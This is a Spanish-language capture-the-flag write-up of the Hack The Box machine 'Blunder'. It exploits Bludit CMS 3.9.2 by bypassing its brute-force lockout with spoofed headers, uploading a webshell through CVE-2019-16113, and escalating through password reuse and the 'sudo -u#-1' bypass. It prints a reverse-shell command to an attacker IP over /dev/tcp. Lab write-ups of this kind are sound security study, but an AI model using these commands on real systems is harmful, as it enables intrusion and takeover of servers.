Hola a todos,
Sí, otra nueva entrada de un writeup xd. Hay que publicar el trabajo que se realizó durante el confinamiento ahora que están retirando las máquinas 😉
En este ocasión, es el turno de Blunder, una máquina que me gustó mucho y difrute en su realización. Se encuentra categorizada en dificultad medio-baja, pero el mejor resumen sería difícil acceso remoto y muy sencilla la escala como veremos a continuación.
El write-up se divide en tres fases:
- Enumeración
- Explotación
- Escalada de privilegios
En primer lugar, para identificar los servicios y puertos abiertos se ejecuta la herramienta nmap:
Nmap scan report for 10.10.10.191
Host is up (0.14s latency).PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA
|_http-generator: Blunder
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Sólo disponemos del servicio web HTTP abierto. Realizado fuzzing y analizando el contenido, se encuentran:
Un about curioso:
El panel de administración de Bludit:
Que se trata de un CMS https://www.bludit.com/es/
https://github.com/bludit/bludit/tree/master/bl-kernel
Al ser un CMS las primeras pruebas siempre son:
- Credenciales por defecto
- Identificar versión instalada para buscar posibles vulnerabilidades públicas.
Explorando el código fuente, rápidamente se identifica la versión instalada: 3.9.2
Y aquí también:
Una vez identificada su versión, se busca si dispone de alguna vulnerabilidad que nos permita bien acceder a la parte autenticada, o bien un RCE. Efectivamente:
https://attackerkb.com/topics/a91VxoLWn8/bludit-3-9-2-remote-code-execution
https://github.com/bludit/bludit/issues/1081
Idem un módulo en msf:
https://www.rapid7.com/db/modules/exploit/linux/http/bludit_upload_images_exec
Sin embargo, requiere esta autenticado con una cuenta que permita editar el contenido.
Con la información obtenida hasta ahora, estamos en las mismas, toca volver atrás y seguir enumerando en busca de alguna pista o algo que se haya podido dejar. Nuevamente, se tira un fuzzing, ahora marcando la flag de extensiones (-f en dirsearch):
Y se encuentra el típico fichero «TO-DO»:
Efectivamente, tiene pendiente actualizar el CMS y una pista de que un posible usuario es fergus según el contexto.
Haciendo un poco de fuerza bruta enseguida se ve que tiene un mecanismo para su prevención.
Pinta mal 🙁
Toca preguntar a Google para comprobar si existen mecanismos para su bypass.
https://rastating.github.io/bludit-brute-force-mitigation-bypass/
Así mismo se encuentra esta tool:
https://github.com/Pr0x13/iBrutr
Analizando el post, se identifica que haciendo uso de las cabeceras X-Forwarded-For y HTTP-Client-IP:
Se evita el bloqueo a nivel de IP origen:
Como indica el autor del post «By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.» generando valor únicos de las cabeceras citadas anteriormente se puede realizar fuerza bruta tras los 10 intentos iniciales en los que se sufre el bloqueo.
Tras encontrar estos resultados, finaliza esta fase y comienza la de explotación.
En la parte inferior del post, se encuentra un script a modo de PoC.
Una vez tenemos esto, nos falta la contraseña obviamente. En este caso se crearon varios diccionarios haciendo uso de la tool cewl, que crea el contenido a través del código fuente de la web.
Tras varios intentos fallidos, se logró encontrar la password de esta manera:
cewl -w dict2.txt -d 10 -m 1 http://10.10.10.191/
En mi caso, tomando la poC la adapté un poco para pasar los diccionarios y el usuario por parámetro en lugar de tocar el código:
Finalmente, se logra encontrar la password:
A continuación, se autentica en la aplicación:
Se busca la funcionalidad de subida que es donde está el vector de compromiso:
Seguidamente, se siguen los pasos de la persona que encontró el bug y lo explica en la sección de issues:
https://github.com/bludit/bludit/issues/1081
En primer lugar, se sube el .htaccess:
A continuación, se sube el fichero de nuestra webshell favorita. Esto es posible gracias al paso anterior:
Aunque, indica que no lo sube debido a la extensión, se acaba subiendo. Yendo a la carpeta en donde es guardado, ahí se encuentra:
Y se logra ejecución de código:
Finalmente, partiendo de una webshell se ejecuta el código para obtener una shell reversa. en mi caso empleé esté código:
Llegando la shell reversa al listener previamente puesto en escucha:
Por curiosidad de manera alternativa se lanzo con msf:
https://www.exploit-db.com/exploits/47699
viendo que funciona perfectamente también:
Hablando con @cybervaca por Twitter os comparto la tool que ha desarrollado para automatizar esta vulnerabilidad para lograr la shell remota, ahorrando los pasos anteriores (mil gracias!):
https://github.com/cybervaca/CVE-2019-16113
Tal que así:
python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c «bash -c ‘bash -i >& /dev/tcp/10.10.14.172/1337 0>&1′»
sustituyendo los parámetros por lo anterior, obtendríamos la shell.
Tras obtener la versión del kernel (Linux blunder 5.3.0-53-generic #47-Ubuntu SMP Thu May 7 12:18:16 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux), se descarta la escala de privilegios por este camino.
Se enumeran los usuarios que hay: hugo y shaun.
Explorando las carpetas se encuentra en el ftp un note.txt:
No se vio nada en claro en su momento. Al ser un CMS, directamente se va a la carpeta en donde se encuentra para buscar la contraseña de la base de datos harcodeada o algún fichero interesante:
Se pasa el hash-identifier para comprobar que algoritmo de hash es:
Antes de hacer cracking, se consulta en repositorios encontrando su contraseña en texto plano: Password120
Se comprueba si esta contraseña es reutilizada en el sistema operativo y efectivamente así es, logrando escalar al usuario hugo:
A continuación, se comprueba si el usuario hugo se encuentra dentro de sudoers y qué permisos podría tener:
Curioso! Buscando en Google, se encuentran exploits aprovechando esta configuración para escalar privilegios a root:
https://www.exploit-db.com/exploits/47502
https://securitybytes.io/sudont-escape-so-easily-ce8801bf9a4b
Siguiendo el exploit, ejecutando: «sudo -u#-1 /bin/bash» se logra escalar a root:
Me gustó mucho la máquina y me pareció realmente interesante y os la recomiendo a todos.
Nos vemos en el próximo post!
Saludos.
N4xh4xk5
La mejor defensa, es un buen ataque
Fuente obtenida de: https://fwhibbit.es/htb-writeup-blunder
